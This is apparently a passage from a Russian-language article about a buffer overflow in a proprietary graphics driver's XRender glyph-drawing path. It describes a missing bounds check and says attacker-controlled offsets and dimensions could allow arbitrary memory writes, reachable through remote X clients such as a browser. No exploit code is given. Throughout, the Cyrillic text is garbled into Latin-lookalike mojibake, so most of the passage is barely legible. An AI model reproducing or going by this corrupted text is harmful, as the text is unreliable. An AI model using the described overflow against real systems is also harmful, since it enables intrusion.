BKJIFOUAOIIHI B ce0sl B TOM YHCIIe U peHIpeAnHT WPpU(TOB (Hy, B CMBICIE INTH(OB), peain30BaHHOE B
pacmupenun XRender, skcnoprupytomem ¢yakmmo XRenderCompositeString8, xoTopas B TecHOi
KOOpIMHAIMN ¢ X-CEpBEPOM BBIBOIUT HIPH(THI Ha 3KpaH. VIMEHHO mo3TOMy, AE(EKT peanu3aiuu
XRender'a monroe Bpemsi cunTanu ommmOKod X-cepBepa (Kak TOBOPHUTCS, MCKAIM YEPHYIO KOIIKY B
YEepHOH KOMHATe, KOTOPOH HET. KOMHATHI HET B CMBICIIE. a KOIIIKA — OHA K€ OIIMOKa — KaK OKa3aJioch
I'yJIseT caMma I1o ce0e COBCEM B JPYrOM MECTe).




Hy KoKy MBIITbXaM OIHO3HAYHO HE JPY3bsl, TAK YTO HA HUX MBI HAJIOJITO 3a/IePXKUBACTCS HE
Oyznem, a BepHeMcsl K HamuM rudam. [Toxyuus crnmcok riudoB, KOTOpbIe TpeOyeTcsi OTPEAHEPUTb,
¢ynkuust XRenderCompositeString8 wepes cneumanbhsbiii call-back obpaimaercst x npaiiBepy u, eciu
9TOT JIMCT NPEBBIIAET Pa3Mep BbIAEIEHHOro Oydepa, HaCTynaeT 3aKOHOMEPHBIN Kpax.

Bonee peranpHBIE HCCIENOBAaHUS IOKA3bIBAIOT, YTO 3aKPBITHIM JpaiiBEp pEruCTpUpyeT
¢yaxmuro _nv000373X, mopydas eif pacuer rpanur; BoxRec-o6mactn, He0OX0IUMO A7 BMEIICHHS
BCEX JIAaHHBIX, BBIBOJMMBIX Ha 9KpaH. BhIgeneHne maMsaTH OCYHIECTBIISICTCS ITOCPEICTBOM (YHKIMH
Xalloc, a ero pa3zmep ompenensieTcsi IyTeM YMHOKCHHUS IIMPHHBI 00JIACTH PEAPEIUHTa Ha €€ BBICOTY.
[onyuennsrii  Oydep mepemaercst npyrod BHyTpeHHed ¢ynkimum — nv000053X, koropas
MIOCJIE/IOBATENILHO MPOXOAMT MO BCeM Tinam, KOnupys Kaxaplil g B Oydep, OTTaIKUBAsACH OT €ro
nonoxenus: Ha mwiockoctu (XOff, yOff), a tak >xe mmpunsl (width) u Beicotsl (height), mocpeacTBom
KOTOPBIX, (DYHKIMsI BBIUUCISIET CIIEAYIOUIYIO TO3UIMI0 B Oydepe, oIHAKO, MPOBEpKa Ha BBIXOJ 3a
rpaHuIpl Oydepa, o OOBIKHOBEHHIO, HE BBINOJIHACTCA W IPOMCXOAWT MepenoiHeHue. [Ipudem, He
MPOCTOE. .. a O4YEHB JAaxe crenuduaHoe nepenonaenne! Marumynupys 3HagueHnsamu xOff, yOff, width
n height (Ha KOTOpBIC aTaKyrOIIMA MOXET BO3/CHCTBOBAaTH SBHBIM 00pa3oM) OH IIOJNy4aeT
BO3MOXKHOCTH 3allMCH IIPOM3BOJIBHBIX JaHHBIX/KOJA O MPOMU3BOJIBHOMY aApecy (€CTECTBEHHO, IpU
YCJIOBUH, YTO TOT BOOOIIE JOCTYIIEH HA 3alKCh, HHAUE HACTYIUT 00JI0M).

Conb B TOM, X-cepBep Moy4aeT CIHCOK MM(oB oT X-KIMEHTa, KOTOPbIH MOXKET OBITh Kak
JIOKQJIbHBIM, TaK U YAAJICHHBIM. I/IJICH YAAJICHHBIX X-KJIIMEHTOB BO3HHKJIA B TE JaJICKNE BpEMCHA, Korja
LBETHOH MOHHMTOD OBLJI O'POMHOM POCKOUIBIO U 1K€ 32)KUTOUYHBIE OPraHU3aIMU C TPYJOM IT03BOJISIIH
cebe ero mMeTh B KonmdecTBe "ofgHa INTyKa", a pa0OYMX CTAHIUH, KaK MPaBHJIO, OBUIO HAMHOTO
Gospime oxHOW. BOT M mpummiock paspabaTeiBaTh MEXAHW3MBl YAAIEHHOTO BBEIBOZA TIpadHuecKOM
nHpopMannu Ha TepMuHan. Ceiuac ke, 3TO pyANMEHT, IPAaKTHIECKH HUKEM HE HCHONb3YeMBIH, HO...
T10 TIeJIOMY sy NPUYHH, COXPAHUBILIHUICS Ja)Ke B COBPEMEHHBIX BEPCUSIX HUKCOB.

B pomm ynaneHHoro X-KiIMEHTa MOXET BBICTYNATh IPAKTHYECKH Jrobas '"MckoBas"
nporpamMma, B3aUMOJEHCTByIOIIass ¢ CeTbio, Hanpumep, FireFox, KOTOpoMy CKOPMMIM CIIHMIIKOM
JUIMHHYIO TEKCTOBYIO CTPOKY (Bpoze Toif, 4uro Oputa Ha cTpaHuuke c uuciaoM "mu"). [lpugem,
COBEpIICHHO Heo0s3aTeNnbHO MponuchiBath 3Ty ctpoky B HTML'e "mpsameim Tekctom". Coier Java
wH JTI000# APYTON CKPHUITTOBEIH S3BIK.

Tak 49T0, yrpo3a He MU(GUYECKUI MPHU3PaAK, a BIIOJIHE PEaTbHBIN U CHIBHO 37I00HBIM MOHCTD,
TOpakarolui BCeX TeX, KTO HE OTKITIOYMI aKCeNepannio Wik He OOHOBHIICS.



